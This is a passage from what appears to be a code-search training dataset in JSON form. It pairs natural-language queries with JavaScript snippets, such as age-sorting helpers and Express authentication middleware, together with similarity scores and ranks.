                  • \\\")\\n })\\n return finalArr\\n }\",\n \"function SecondGreatLow(arr) { \\n\\tif (arr.length === 2){\\n\\t\\tif(arr[0] > arr[1]) {\\n\\t\\t\\treturn arr[0] + \\\" \\\" + arr[1];\\n\\t\\t} else {\\n\\t\\t\\treturn arr[1] + \\\" \\\" + arr[0];\\n\\t\\t}\\n\\t} else {\\n\\t\\tvar greatest = Math.max.apply(Math, arr);\\n\\t\\tvar lowest = Math.min.apply(Math, arr);\\n\\t\\tvar newArr = [];\\n\\t\\tfor (var i = 0; i \\n item.gender === 'm' || item.gender === 'M')\\n .sort((a, b) => a.age - b.age )\\n }\",\n \"function ageSort(){\\n return function(people){\\n people.sort(function(a,b){\\n return a.age - b.age;\\n });\\n console.log(people);\\n };\\n }\",\n \"function getAges(array, value) {\\n let output = [];\\n for (let i = 0; i < array.length; ++i) {\\n output.push(array[i][value]);\\n }\\n return output;\\n}\",\n \"function SortByAge() {\\n var pl = [];\\n pl = Object.age(players).sort()\\n return pl.reverse();\\n}\",\n \"static ageCompareHigh(user1, user2) {\\n // TODO: check that age exists\\n return user2.age - user1.age;\\n }\",\n \"function AgeSort() {\\n employees.sort(function (a, b) {\\n return (a.dob.age - b.dob.age)\\n })\\n visibleEmployees([...employees])\\n }\",\n \"function SecondGreatLow(arr) {\\n //if length is 2 edge case\\n if (arr.length === 2){\\n sortedArr = arr.sort();\\n return sortedArr[1]+\\\" \\\"+sortedArr[0];\\n }\\n\\n var min, max, min2, max2;\\n sortedArr = arr.sort();\\n min = sortedArr[0];\\n max = sortedArr[sortedArr.length];\\n min2 = max;\\n max2 = min;\\n for (var i = 0; i < sortedArr.length; i++) {\\n //set min2\\n if (sortedArr[i] !== min){\\n if(sortedArr[i] < min2){\\n min2 = sortedArr[i];\\n }\\n }\\n //set max2\\n if (sortedArr[i] !== max){\\n if(sortedArr[i] > max2){\\n max2 = sortedArr[i];\\n }\\n }\\n }//end loop\\n return min2+\\\" \\\"+max2;\\n}//end function\",\n \"function getLeaveDatesInAscendinOrder(leaveDatesArray){\\t\\r\\n\\t\\t var datesArray;\\r\\n\\t\\t var sortedArray=[];\\r\\n\\t\\t var stringDate;\\r\\n\\t\\t datesArray=new Array(leaveDatesArray.length);\\r\\n\\t for(var j=0;j< leaveDatesArray.length;j++){\\r\\n\\t \\t //console.log(\\\"type of leave date : \\\"+ typeof leaveDatesArray[j].leaveDate)\\r\\n\\t \\t datesArray.push(new Date(leaveDatesArray[j].leaveDate));\\r\\n\\t\\t }\\r\\n\\t datesArray.sort(function (a,b){ return (a > b) ? 1 : -1;});\\r\\n\\t \\r\\n\\t for(var j=0;j< leaveDatesArray.length;j++){\\r\\n\\t \\t stringDate=datesArray[j].getDate()+\\\"/\\\"+(datesArray[j].getMonth()+1)+\\\"/\\\"+datesArray[j].getFullYear(); new Date().g\\r\\n\\t \\t //leaveDetails [i][4][j]=(datesArray[j]+\\\"\\\").substring(0,15);\\r\\n\\t \\t sortedArray.push(stringDate);\\r\\n\\t }\\r\\n\\t \\r\\n\\t return sortedArray;\\r\\n\\t \\r\\n\\t }\",\n \"function findAverage(array) {\\n const sumElementsAgesArray = (accumulator, currentValue) => accumulator + currentValue;\\n const averageAge = array.reduce(sumElementsAgesArray, 0) / array.length;\\n return averageAge;\\n}\",\n \"function sortByAge(){\\n employees.sort(function(a,b){\\n return (a.dob.age - b.dob.age)\\n })\\n setDisplayedEmployees([...employees])\\n }\",\n \"function lowhigh(arr) {\\n max = arr[0];\\n min = arr[0];\\n for (var i = 0; i < arr.length; i++) {\\n if (arr[i] > max) {\\n max = arr[i];\\n }\\n if (arr[i] < min) {\\n min = arr[i];\\n }\\n }\\n return min, max;\\n}\",\n \"function olderThanTwentyFour(arr) {\\n return arr.filter(n => n.age >= 24)\\n}\",\n \"function getAverageAge(arr) {\\n return arr.reduce((acc, item) => acc + item.age, 0) / arr.length;\\n}\",\n \"howOld(birthday){\\n \\n //calculate the month difference from the current month\\n //calculate the day difference from the current date\\n //calculate year difference from the current year\\n //put calculation in date format\\n //calculate the age person\\n //return the age of the person\\n\\n return -1;\\n }\",\n \"handleAllAges(ages) {\\n const allAges = ages.filter( age => { return age.name == 'All Ages' } )\\n if ( allAges.length < 1 ) {\\n ages.push({\\n id: \\\"58e4b35fdb252928067b4379\\\",\\n name: \\\"All Ages\\\",\\n displayOrder: 0\\n })\\n }\\n return ages.sort(this.handleDisplayOrder)\\n }\",\n \"function bornBeforeYear(dataArr, year) {\\n const result = [];\\n dataArr.forEach(person => {\\n const birthYear = new Date(person.birthday).getFullYear();\\n (birthYear < year) && result.push(person);\\n \\n });\\n return result; \\n}\",\n \"function averageAge(arr) {\\n\\n const currentAge = arr.map(cur => new Date().getFullYear() - cur.buildYear);\\n\\n function add(a, b) {\\n return a + b;\\n }\\n\\n const totalAge = currentAge.reduce(add, 0);\\n const average = totalAge / arr.length;\\n\\n console.log(`Our ${arr.length} parks have an average age of ${average} years.`);\\n}\",\n \"function getMaxAge(data) {\\n\\tconst ageList = data.filter(passenger => passenger.fields.age != null).map(passenger => passenger.fields.age)\\n\\tconst maxAge = Math.max(...ageList)\\n\\tconsole.log('MAXIMUM AGE:', maxAge)\\n\\treturn maxAge\\n}\",\n \"function twoTeams(sailors) {\\n const team1 = []; // holds sailors younger than 20 and older than 40\\n const team2 = []; // holds sailors between the ages 20 and 40\\n const sailorNames = Object.keys(sailors);\\n\\n sailorNames.forEach(sailor => {\\n sailors[sailor] < 20 || sailors[sailor] > 40\\n ? team1.push(sailor)\\n : team2.push(sailor);\\n });\\n\\n const sorted = [team1.sort(), team2.sort()];\\n return sorted;\\n}\",\n \"function bestYearAvg (array){\\n //puedo calcular el avg con el método de arriba, para ello, tengo que conseguir tener un array con todas las \\n //peliculas de un año \\n var ordenado = array.sort(function(a,b) {\\n return a.parseInt(year) - b.parseInt(year);\\n } );\\n}\",\n \"get oldestObject() {\\n\\t\\n\\t\\tif(this.#_augmentaScene.objectCount == 0) {\\n\\t\\t\\tconsole.log('No object in scene')\\n\\t\\t} else {\\n\\n\\t\\t\\tlet maxAge = -1;\\n\\t\\t\\tlet maxId;\\n\\n\\t\\t\\tfor(var id in this.#_augmentaObjects) {\\n\\t\\t\\t\\tif(this.#_augmentaObjects[id].age > maxAge) {\\n\\t\\t\\t\\t\\tmaxAge = this.#_augmentaObjects[id].age;\\n\\t\\t\\t\\t\\tmaxId = id;\\n\\t\\t\\t\\t}\\n\\t\\t\\t}\\n\\n\\t\\t\\treturn this.#_augmentaObjects[maxId]\\n\\t\\t}\\n\\n\\t}\",\n \"function byAge(person1, person2) {\\n var age1 = person1.age;\\n var age2 = person2.age;\\n return age2 - age1;\\n}\",\n \"function computeAge(i) \\n {\\n var todaysDate = new Date();\\n var birthD = $(\\\"#booking_tickets_\\\"+ i +\\\"_birthdate_day\\\").val();\\n var birthM = $(\\\"#booking_tickets_\\\"+ i +\\\"_birthdate_month\\\").val();\\n var birthY = $(\\\"#booking_tickets_\\\"+ i +\\\"_birthdate_year\\\").val();\\n\\n if((birthM < todaysDate.getMonth()) || ((birthM == todaysDate.getMonth()) && (birthD <= todaysDate.getDate())))\\n {\\n var age = todaysDate.getFullYear() - birthY;\\n }\\n else\\n {\\n var age = todaysDate.getFullYear() - birthY - 1;\\n } \\n\\n return age;\\n }\",\n \"getYearRange(date) {\\n let year = [], first, last;\\n date.forEach(e => {\\n year.push(parseInt(e))\\n })\\n first = year[0];\\n last = year[year.length-1]\\n year.forEach(e => {\\n first = e < first ? e : first;\\n last = e > last ? e : last;\\n })\\n return({first,last});\\n }\",\n \"function CompareBirthdays(a, b)\\r\\n {\\r\\n return a[\\\"nextBirthday\\\"] - b[\\\"nextBirthday\\\"];\\r\\n }\",\n \"function howOld(age, year) {\\n const currentDate = new Date();\\n const currentYear = currentDate.getFullYear();\\n\\n if (year > currentYear) {\\n var NewAge = year - currentYear + age;\\n return `You will be ${NewAge} in the year ${year}`;\\n } else if (year < currentYear - age) {\\n var diference = currentYear - age - year;\\n return `The year ${year} was ${diference} years before you were born`;\\n } else if (year < currentYear && year > currentYear - age) {\\n var NewAge = age - (currentYear - year);\\n return `You were ${NewAge} in the year ${year}`;\\n }\\n}\",\n \"calculateAge() {\\n let date_1 = new Date(age);\\n let diff = Date.now() - date_1.getTime();\\n var age_date = new Date(diff);\\n return Math.abs(age_date.getUTCFullYear() - 1970); \\n }\",\n \"function olderPerson(obj) {\\n var ins = obj[0];\\n var str = \\\"\\\";\\n for (let i = 0; i < obj.length; i++) {\\n if (obj[i].age > ins.age) {\\n ins = obj[i];\\n str = ins.name.first + \\\" \\\" + ins.name.last;\\n }\\n }\\n return str;\\n}\",\n \"function retire(year){\\n\\tconst age=new Date().getFullYear()-year;\\n\\treturn [age,65-age];\\n}\",\n \"function getAge() {\\n year = born.slice(0, born.indexOf(\\\"-\\\"));\\n month = born.slice(5, 7);\\n day = born.slice(8);\\n var today = new Date();\\n var age = today.getFullYear() - year;\\n var m = today.getMonth() - month;\\n if (m < 0 || (m === 0 && today.getDate() < day)) {\\n age--;\\n }\\n return age;\\n }\",\n \"function findOldestIndex(history){\\n var index = null;// index of oldest element\\n var sAge = null; // smallest age\\n\\n // Abort if there is no elements in history\\n if(history.length<1){\\n return -1;\\n }\\n\\n index = 0;\\n sAge = history[0].age;\\n for (var i = 1; i < history.length; i++){\\n if(history[i].age= minAge) console.log(personA);\\n if (personB.age >= minAge) console.log(personB);\\n}\",\n \"howOld(birthday){\\n \\n // convert birthday into a numeric value\\n\\n // convert current date into a numeric value\\n\\n // subtract birthday numeric value from current date value to get the numeric value of time elapsed\\n\\n // convert the time elapsed value into years\\n\\n // round down the converted years value\\n\\n // return the rounded years value\\n\\n let date = new Date().getFullYear();\\n let age = date-birthyear\\n \\n return age;\\n return -1;\\n }\",\n \"function maleAge(){\\n for (i=0; i a.age - b.age);\\n }\\n }\\n console.log(devs);\\n }\",\n \"function calculateAge(birthyear, currentyear) {\\n\\tvar lowage = currentyear - birthyear - 1;\\n\\tvar highage = currentyear - birthyear;\\n\\talert(\\\"You are either \\\" + lowage + \\\" or \\\" + highage)\\n}\",\n \"function cmp(a, b) {\\n let yearA = a[0].years[0]\\n let yearB = b[0].years[0]\\n return (yearB > yearA) ? 1 : ((yearB < yearA) ? -1 : 0)\\n }\",\n \"function min () {\\n var args = [].slice.call(arguments, 0);\\n\\n return pickBy('isBefore', args);\\n}\",\n \"function min () {\\n var args = [].slice.call(arguments, 0);\\n\\n return pickBy('isBefore', args);\\n}\",\n \"function min () {\\n var args = [].slice.call(arguments, 0);\\n\\n return pickBy('isBefore', args);\\n}\",\n \"function min () {\\n var args = [].slice.call(arguments, 0);\\n\\n return pickBy('isBefore', args);\\n}\",\n \"function min () {\\n var args = [].slice.call(arguments, 0);\\n\\n return pickBy('isBefore', args);\\n}\",\n \"function min () {\\n var args = [].slice.call(arguments, 0);\\n\\n return pickBy('isBefore', args);\\n}\",\n \"function min () {\\n var args = [].slice.call(arguments, 0);\\n\\n return pickBy('isBefore', args);\\n}\",\n \"function min () {\\n var args = [].slice.call(arguments, 0);\\n\\n return pickBy('isBefore', args);\\n}\",\n \"function min () {\\n var args = [].slice.call(arguments, 0);\\n\\n return pickBy('isBefore', args);\\n}\",\n \"function min () {\\n var args = [].slice.call(arguments, 0);\\n\\n return pickBy('isBefore', args);\\n}\",\n \"function min () {\\n var args = [].slice.call(arguments, 0);\\n\\n return pickBy('isBefore', args);\\n}\",\n \"function min () {\\n var args = [].slice.call(arguments, 0);\\n\\n return pickBy('isBefore', args);\\n}\",\n \"function min () {\\n var args = [].slice.call(arguments, 0);\\n\\n return pickBy('isBefore', args);\\n}\",\n \"function min () {\\n var args = [].slice.call(arguments, 0);\\n\\n return pickBy('isBefore', args);\\n}\",\n \"function min () {\\n var args = [].slice.call(arguments, 0);\\n\\n return pickBy('isBefore', args);\\n}\",\n \"function min () {\\n var args = [].slice.call(arguments, 0);\\n\\n return pickBy('isBefore', args);\\n}\",\n \"function min () {\\n var args = [].slice.call(arguments, 0);\\n\\n return pickBy('isBefore', args);\\n}\"\n]"},"negative_scores":{"kind":"list like","value":["0.78486305","0.7427882","0.7326222","0.7013265","0.6738038","0.6712644","0.6627846","0.65975624","0.6574193","0.65132743","0.64635026","0.6458466","0.6167384","0.61547387","0.61451113","0.6124622","0.61235875","0.6054878","0.60398024","0.5996854","0.59744465","0.5914014","0.5867591","0.5856671","0.58202606","0.57858205","0.57242167","0.568981","0.56497484","0.5565444","0.55318314","0.54632664","0.5447516","0.54131216","0.5400243","0.5387784","0.5377324","0.534785","0.53326815","0.5315936","0.5313117","0.53014606","0.529978","0.52995855","0.52674514","0.52511173","0.5245469","0.5165579","0.51598126","0.51314634","0.5115528","0.5113536","0.5098518","0.5091819","0.5087076","0.50869864","0.5064244","0.5062651","0.5047704","0.50385827","0.503432","0.5019996","0.5009346","0.49864846","0.49831757","0.49817878","0.49811423","0.4966967","0.49572924","0.49408603","0.4938074","0.49268717","0.49176195","0.49129707","0.49129707","0.49129707","0.49129707","0.49129707","0.4912695","0.49116746","0.49035922","0.4887394","0.48794785","0.48705706","0.48705706","0.48705706","0.48705706","0.48705706","0.48705706","0.48705706","0.48705706","0.48705706","0.48705706","0.48705706","0.48705706","0.48705706","0.48705706","0.48705706","0.48705706","0.48705706"],"string":"[\n \"0.78486305\",\n \"0.7427882\",\n \"0.7326222\",\n \"0.7013265\",\n \"0.6738038\",\n \"0.6712644\",\n \"0.6627846\",\n \"0.65975624\",\n \"0.6574193\",\n \"0.65132743\",\n \"0.64635026\",\n \"0.6458466\",\n \"0.6167384\",\n \"0.61547387\",\n \"0.61451113\",\n \"0.6124622\",\n \"0.61235875\",\n \"0.6054878\",\n \"0.60398024\",\n \"0.5996854\",\n \"0.59744465\",\n \"0.5914014\",\n \"0.5867591\",\n \"0.5856671\",\n \"0.58202606\",\n \"0.57858205\",\n \"0.57242167\",\n \"0.568981\",\n \"0.56497484\",\n \"0.5565444\",\n \"0.55318314\",\n \"0.54632664\",\n \"0.5447516\",\n \"0.54131216\",\n \"0.5400243\",\n \"0.5387784\",\n \"0.5377324\",\n \"0.534785\",\n \"0.53326815\",\n \"0.5315936\",\n \"0.5313117\",\n \"0.53014606\",\n \"0.529978\",\n \"0.52995855\",\n \"0.52674514\",\n \"0.52511173\",\n \"0.5245469\",\n \"0.5165579\",\n \"0.51598126\",\n \"0.51314634\",\n \"0.5115528\",\n \"0.5113536\",\n \"0.5098518\",\n \"0.5091819\",\n \"0.5087076\",\n \"0.50869864\",\n \"0.5064244\",\n \"0.5062651\",\n \"0.5047704\",\n \"0.50385827\",\n \"0.503432\",\n \"0.5019996\",\n \"0.5009346\",\n \"0.49864846\",\n \"0.49831757\",\n \"0.49817878\",\n \"0.49811423\",\n \"0.4966967\",\n \"0.49572924\",\n \"0.49408603\",\n \"0.4938074\",\n \"0.49268717\",\n \"0.49176195\",\n \"0.49129707\",\n \"0.49129707\",\n \"0.49129707\",\n \"0.49129707\",\n \"0.49129707\",\n \"0.4912695\",\n \"0.49116746\",\n \"0.49035922\",\n \"0.4887394\",\n \"0.48794785\",\n \"0.48705706\",\n \"0.48705706\",\n \"0.48705706\",\n \"0.48705706\",\n \"0.48705706\",\n \"0.48705706\",\n \"0.48705706\",\n \"0.48705706\",\n \"0.48705706\",\n \"0.48705706\",\n \"0.48705706\",\n \"0.48705706\",\n \"0.48705706\",\n \"0.48705706\",\n \"0.48705706\",\n \"0.48705706\",\n \"0.48705706\"\n]"},"document_score":{"kind":"string","value":"0.74437"},"document_rank":{"kind":"string","value":"1"}}},{"rowIdx":77,"cells":{"query":{"kind":"string","value":"Simple route middleware to ensure user is authenticated."},"document":{"kind":"string","value":"function ensureAuthenticated(req, res, next) {\n if (req.isAuthenticated()) {\n return next();\n }\n req.session.error = 'Please sign in!';\n res.redirect('/signin');\n}"},"metadata":{"kind":"string","value":"{\n \"objective\": {\n \"self\": [],\n \"paired\": [],\n \"triplet\": [\n [\n \"query\",\n \"document\",\n \"negatives\"\n ]\n ]\n }\n}"},"negatives":{"kind":"list like","value":["function ensureAuthenticated(req, res, next){\n if (req.isAuthenticated()){\n return next();\n }\n else {\n res.redirect('/');\n }\n}","function ensureAuthenticated(req, res, next) {\n if (req.isAuthenticated()) { return next(); }\n res.redirect('/');\n}","function ensureAuthenticated(req, res, next){\n if(req.isAuthenticated()) return next();\n res.redirect(\"/login\");\n}","function isAuthenticated(){\n return function(req, res, next){\n if (req.isAuthenticated()){\n return next();\n }\n res.redirect('/signin');\n }\n}","function ensureAuthenticated(req, res, next) {\n if (req.isAuthenticated()) { return next(); }\n res.redirect('/');\n}","function ensureAuthenticated(req, res, next) {\n if (req.isAuthenticated()) { return next(); }\n res.redirect('/');\n}","function ensureAuthenticated(req, res, next) {\n if (req.isAuthenticated()) { return next(); }\n res.redirect('/');\n}","function ensureAuthenticated(req, res, next) {\n if (req.isAuthenticated()) { console.log(\"IS AUTH : \" + req); return next(); }\n res.redirect('/')\n}","function ensureAuthenticated(req, res, next) {\n if (req.isAuthenticated()) { return next(); }\n res.redirect('/');\n }","function ensureAuthenticated(req, res, next) {\n if (req.isAuthenticated()) {\n return next();\n }\n res.redirect('/');\n}","function ensureAuthenticated(req, res, next) {\n if (req.isAuthenticated()) {\n return next();\n }\n res.redirect('/');\n}","function ensureAuthenticated(req, res, next) {\r\n if (req.isAuthenticated()) {\r\n return next();\r\n }\r\n res.redirect('/login');\r\n}","function ensureAuthenticated(req, res, next) {\n if (req.isAuthenticated()) { return next(); }\n res.redirect('/')\n }","function ensureAuthenticated (req, res, next) {\n if (req.isAuthenticated()) {\n return next()\n } else {\n res.redirect('/login')\n }\n}","function ensureAuthenticated(req, res, next) {\r\n if (req.isAuthenticated()) { return next(); }\r\n res.redirect('/login')\r\n}","function ensureAuthenticated(req, res, next) {\r\n if (req.isAuthenticated()) { return next(); }\r\n res.redirect('/login')\r\n}","function ensureAuthenticated(req, res, next) {\n if (req.isAuthenticated()) { return next(); }\n res.redirect('/login')\n}","function ensureAuthenticated(req, res, next) {\n if (req.isAuthenticated()) { return next(); }\n res.redirect('/login')\n}","function ensureAuthenticated(req, res, next) {\n if (req.isAuthenticated()) { return next(); }\n res.redirect('/login')\n}","function ensureAuthenticated(req, res, next) {\n // check authentication\n if (req.isAuthenticated()) {\n // req.user is available for use here\n return next();\n }\n // denied. redirect to login\n res.redirect(\"/\");\n}","function ensureAuthenticated(req, res, next) {\n \tif (req.isAuthenticated()) { return next(); }\n \tres.redirect('/login');\n }","function isAuthenticated(req, res, next){\n \n // allow all /GET requests\n if(req.method == 'GET'){\n return next();\n } \n\n // allow any request where the user is authenticated\n if(req.isAuthenticated()){\n return next();\n } \n\n //for anything else, redirect to login page\n return res.redirect('/#login');\n}","function ensureAuthenticated(req, res, next) {\n if (req.isAuthenticated()) { \n return next(); \n }\n res.redirect('/login');\n}","function ensureAuthenticated(req, res, next) {\n if (req.isAuthenticated()) { \n return next(); \n }\n res.redirect('/login');\n}","function ensureAuthenticated(req, res, next) {\n\tif (req.isAuthenticated()) { return next(); }\n\tres.redirect('/');\n}","function ensureAuthenticated(req, res, next) {\n\tif (req.isAuthenticated()) { return next(); }\n\tres.redirect('/');\n}","function ensureAuthenticated(req, res, next) {\n if (req.isAuthenticated()) {\n return next();\n } else {\n res.redirect('/users/login');\n }\n}","function ensureAuthenticated(req, res, next) {\n if (req.isAuthenticated()) {\n return next();\n } else {\n res.redirect('/login')\n }\n}","function ensureAuthenticated(req, res, next) {\n if (req.isAuthenticated()) { return next(); }\n res.redirect('/')\n}","function ensureAuthenticated(req, res, next) {\n if (req.isAuthenticated()) { return next(); }\n res.redirect('/')\n}","function ensureAuthenticated(req, res, next) {\n\tif(req.isAuthenticated()) {\n\t\treturn next();\n\t} else {\n\t\tres.redirect('/user/login');\n\t}\n}","function ensureAuthenticated(req, res, next) {\n if (req.isAuthenticated()) {\n return next();\n }\n res.redirect(\"/login\");\n}","function ensureAuthenticated (req, res, next) {\n if (req.isAuthenticated()) {\n return next()\n }\n res.redirect('/login')\n}","function ensureAuthenticated(req, res, next) {\n if (req.isAuthenticated()) { return next(); }\n res.redirect('/login')\n}","function ensureAuthenticated(req, res, next) {\n if (req.isAuthenticated()) { return next(); }\n res.redirect('/login')\n}","function ensureAuthenticated(req, res, next) {\n if (req.isAuthenticated()) { return next(); }\n res.redirect('/login')\n}","function ensureAuthenticated(req, res, next) {\n if (req.isAuthenticated()) { return next(); }\n res.redirect('/login')\n}","function ensureAuthenticated(req, res, next) {\n if (req.isAuthenticated()) { return next(); }\n res.redirect('/login')\n}","function ensureAuthenticated(req, res, next) {\n if(req.isAuthenticated()) {\n return next();\n } else {\n res.redirect('/users/login');\n }\n}","function ensureAuthenticated(req, res, next) {\n if (req.isAuthenticated()) {\n return next();\n }\n res.redirect('/login');\n}","function ensureAuthenticated(req, res, next) {\n if (req.isAuthenticated()) {\n return next();\n }\n res.redirect('/login');\n}","function ensureAuthenticated(req, res, next) {\n if (req.isAuthenticated()) {\n return next();\n }\n res.redirect('/login');\n}","function ensureAuthenticated(req, res, next) {\n if (req.isAuthenticated()) {\n return next();\n }\n res.redirect('/login');\n}","function ensureAuthenticated(req, res, next) {\n if (req.isAuthenticated()) { return next(); }\n res.redirect('/login');\n}","function ensureAuthenticated(req, res, next) {\n if (req.isAuthenticated()) { return next(); }\n res.redirect('/login');\n}","function ensureAuthenticated(req, res, next) {\n if (req.isAuthenticated()) { return next(); }\n res.redirect('/login');\n}","function ensureAuthenticated(req, res, next) {\n if (req.isAuthenticated()) { return next(); }\n res.redirect('/login');\n}","function ensureAuthenticated(req, res, next) {\n if (req.isAuthenticated()) { return next(); }\n res.redirect('/login');\n}","function ensureAuthenticated(req, res, next) {\n if (req.isAuthenticated()) { return next(); }\n res.redirect('/login');\n}","function ensureAuthenticated(req, res, next) {\n if (req.isAuthenticated()) { return next(); }\n res.redirect('/login');\n}","function ensureAuthenticated(req, res, next) {\n if (req.isAuthenticated()) { return next(); }\n res.redirect('/login');\n}","function ensureAuthenticated(req, res, next) {\n if (req.isAuthenticated()) { return next(); }\n res.redirect('/login');\n}","function ensureAuthenticated(req, res, next) {\n if (req.isAuthenticated()) { return next(); }\n res.redirect('/login');\n}","function ensureAuthenticated(req, res, next) {\n if (req.isAuthenticated()) { return next(); }\n res.redirect('/login');\n}","function ensureAuthenticated(req, res, next) {\n if (req.isAuthenticated()) { return next(); }\n res.redirect('/login');\n}","function ensureAuthenticated(req, res, next) {\n\tif (req.isAuthenticated()) { return next(); }\n\tres.redirect('/login')\n}","function ensureAuthenticated(req, res, next) {\n\tif (req.isAuthenticated()) { return next(); }\n\tres.redirect('/login')\n}","function ensureAuthenticated(req, res, next) {\n\tif (req.isAuthenticated()) { return next(); }\n\tres.redirect('/login')\n}","function ensureAuthenticated(req, res, next) {\n\tif (req.isAuthenticated()) { return next(); }\n\tres.redirect('/')\n}","function isAuthenticated(req, res, next)\n {\n if (req.user) return next();\n res.redirect('/');\n }","function ensureAuthenticated(req, res, next) {\n // if user is authenticated in the session, carry on \n if (req.isAuthenticated())\n return next();\n\n // if they aren't redirect them to the home page\n res.redirect('/');\n}","function ensureAuthenticated(req, res, next) {\n // if user is authenticated in the session, carry on \n if (req.isAuthenticated())\n return next();\n\n // if they aren't redirect them to the home page\n res.redirect('/');\n}","function ensureAuthenticated (req, res, next) {\n if (req.isAuthenticated()) {\n return next();\n };\n res.redirect('/login'); // <-- Attention: we don't have this page in the example.\n}","function ensureAuthenticated(req, res, next) {\n if (req.isAuthenticated()) { return next(); }\n res.redirect('/login');\n return null;\n}","function ensureAuthenticated(request, response, next) {\r\n \"use strict\";\r\n if (request.isAuthenticated()) { return next(); }\r\n response.redirect('/login');\r\n}","function ensureAuthenticated(req, res, next) {\n if (req.isAuthenticated())\n\t return next();\n res.redirect('/login');\n}","function isAuthenticated() {\n return compose()\n .use(function(req, res, next) { // used to validate jwt of user session\n if(req.query && req.query.hasOwnProperty('access_token')) { // allows 'access_token' to be passed through 'req.query' if necessary\n req.headers.authorization = 'Bearer ' + req.query.access_token;\n }\n validateJwt(req, res, next);\n })\n .use(function(req, res, next) { //used to attach 'user' to 'req'\n User.findById(req.user._id, function (err, user) {\n if (err) return next(err);\n if (!user) return res.status(401).send('Unauthorized');\n\n req.user = user;\n console.log('user auth success');\n next();\n });\n });\n}","function ensureAuthenticated(req, res, next) {\n if (req.isAuthenticated() && validate_user(req.user)) {\n return next();\n }\n res.redirect('/login');\n}","function ensureAuthenticated(req, res, next) {\n if (req.isAuthenticated()) {\n // req.user is available for use here\n return next(); }\n\n // denied. redirect to login\n res.redirect('/')\n}","function ensureAuthenticated(req, res, next) {\n if (req.isAuthenticated()) {\n // req.user is available for use here\n return next(); }\n\n // denied. redirect to login\n res.redirect('/')\n}","function ensureAuthenticated(req, res, next) {\n if (req.isAuthenticated()) { return next(); }\n res.redirect('/auth/login');\n}","function ensureAuthenticated(req, res, next) {\n if (req.isAuthenticated()) {\n return next();\n }\n\n res.redirect('/login');\n}","function ensureAuthenticated(req, res, next) {\n if (req.isAuthenticated()) next();\n else res.send(401);\n}","function ensureAuthenticated(req, res, next) {\n if (req.isAuthenticated()) {\n next();\n } else {\n res.sendStatus(401);\n }\n}","function ensureAuthenticated(req, res, next) {\n\t\tif (req.isAuthenticated()) { return next(); }\n\t\tres.redirect('/login');\n\t}","function authenticate(req, res, next) {\n \n if (req.isAuthenticated()) {\n return next();\n } \n \n res.redirect('/');\n}","function checkAuthenticated(req, res, next) {\r\n \r\n if (req.isAuthenticated()) {\r\n return next()\r\n }\r\n res.redirect(\"/\");\r\n \r\n}","function ensureAuthenticated(req, res, next){\n req.user=req.user||(typeof req.body.user=='string'?JSON.parse(req.body.user):req.body.user);\nif(req.isAuthenticated()){\n return next();\n\t} else {\n\t\tres.json({status:\"no user\"});\n\t}\n\n}","function ensureAuthenticated (request, response, next) {\n console.log('inside ensure Authenticated');\n if (request.isAuthenticated()) {\n return next();\n }\n response.redirect('/login');\n}","function isAuthenticated() {\n return compose()\n // Validate jwt\n .use(function(req, res, next) {\n req.headers.authorization = req.get(\"authorization\");\n validateJwt(req, res, next);\n })\n // Attach user to request\n .use(function(req, res, next) {\n User.findByIdAsync(req.user._id)\n .then(function(user) {\n if (!user) {\n return res.status(401).end();\n } return req.user = user; })\n .catch(function(err) {\n return next(err);\n });\n next()\n });\n}","function ensureAuthenticated(req, res, next) {\n if (req.isAuthenticated()) {\n return next();\n }\n res.redirect('/log');\n}","function ensureAuthenticated(req, res, next) {\n if (req.isAuthenticated()) { \n next();\n } else {\n req.flash(\"info\", \"Hey, you've got to be logged in to do that!\");\n res.redirect(\"/login\");\n }\n}","function ensureAuthenticated(req, res, next) {\n console.log('\\n\\nensureAuthenticated\\n\\n');\n // console.log(req);\n if (req.isAuthenticated()) {\n console.log('\\n\\nisAuthenticated');\n return next();\n }\n console.log('\\n\\nnot isAuthenticated');\n res.redirect('/login');\n}","function isUserAuthenticated(req, res, next) {\n if (req.user) next();\n else res.send(\"No autenticado\");\n}","function hasAccess(req, res, next) {\n if (req.isAuthenticated()) {\n return next();\n } \n else\n {\n return res.redirect('/'); \n }\n}","function ensureAuthenticated(req, res, next) {\n if (!req.isAuthenticated()) {\n res.json({\n message: 'Authentication check failed.',\n });\n }\n\n return next();\n}","function ensureAuthenticated(req, res, next) {\n if (req.isAuthenticated()) { return next(); }\n res.redirect('/admin');\n}","function ensureAuthenticated(req, res, next) {\n if (req.isAuthenticated()) { return next(); }\n res.redirect('/') // changed from '/login' to '/index'\n}","function isAuthenticated(req, res, next) {\n if (req.user) return next(); //there is an authenticated user\n res.redirect('/users/signin'); //send them to the login page\n}","function ensureAuthenticated(req, res, next) {\n req.session.redirect_url = req.route.path;\n if (req.isAuthenticated()) {\n console.log(\"authorized\");\n next();\n }\n else {\n console.log(\"not authorized\");\n res.redirect('/login');\n }\n}","function ensureAuthenticated(req, res, next) {\n\tif(req.isAuthenticated()){\n\t\treturn next();\n\t}\n\tconsole.log(\"redirected\");\n\tres.redirect('/');\n}","function authenticatedUser(req, res, next){\n if(req.isAuthenticated()){\n return next();\n }\n res.redirect('/');\n}","function isAuthenticated(req, res, next) {\n if(req.user) return next();\n return res.status(401).json({ msg: 'Not Authorized'})\n}","function checkAuthenticated(req, res, next) {\n // Check if the User is authenticated\n if (req.isAuthenticated()) {\n return next();\n }\n\n // If return false\n res.redirect(\"/\");\n}","function ensureAuthenticated(req, res, next) {\n if (req.isAuthenticated()) {\n return next();\n } else {\n req.flash('error_msg', 'Du er ikke logget ind');\n res.redirect('/login');\n }\n}","function ensureAuthenticate(req, res, next) {\n\tif (req.isAuthenticated()) { return next();}\n\tres.redirect('/login')\n}","function verifyAuthentication(){\n return (req, res, next) => {\n if (req.isAuthenticated()){\n return next();\n }else{\n res.redirect('/login');\n }\n }\n}","function ensureAuthenticated(req, res, next) {\n if (req.isAuthenticated()) {\n return next();\n } else {\n req.flash('error', '');\n req.flash('error', 'You don\\'t have permission to access this page!');\n res.redirect('/login')\n }\n}","function isAuthenticated() {\n return compose()\n // Validate jwt\n .use(function(req, res, next) {\n // allow jwt to be placed on query string too\n if (req.query && req.query.hasOwnProperty('access_token')) {\n req.headers.authorization = 'Bearer ' + req.query.access_token;\n }\n validateJwt(req, res, next);\n })\n // attach user to the request\n .use(function(req, res, next) {\n User.findById(req.user._id, function(err, user) {\n if (err) {\n return next(err);\n }\n\n if (!user || _.isEmpty(user)) {\n return res.send(401);\n }\n\n req.user = user;\n next();\n });\n });\n}","function checkAuthenticated(req, res, next) {\n if (req.isAuthenticated()) {\n return next()\n }\n\n 